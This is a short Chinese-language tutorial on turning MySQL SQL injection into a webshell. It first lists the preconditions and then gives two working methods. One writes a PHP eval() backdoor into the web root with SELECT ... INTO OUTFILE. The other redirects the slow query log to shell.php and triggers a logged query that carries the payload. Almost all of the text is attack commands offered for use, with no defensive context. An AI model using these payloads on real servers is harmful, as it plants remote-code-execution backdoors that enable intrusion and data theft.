SQL注入MySQL中写入木马getshell的两种方法
1.利用into outfile直接写入木马文件
利用条件:
1.知道网站的绝对路径
2.secure_file_priv不能为null
3.具有写入文件的权限
使用方法:
1.利用into outfile写入木马文件
select "<?php eval($_POST['cmd']);?>" into outfile "D:\\phpstudy_pro\\WWW\\shell.php"
2.利用日志文件写入木马
1.开启日志功能
set global slow_query_log=1;
2.设置日志存储路径
SET GLOBAL slow_query_log_file='D:\\phpstudy_pro\\WWW\\shell.php';
3.执行sql语句
select '<?php eval($_GET[H])?>' or SLEEP(11);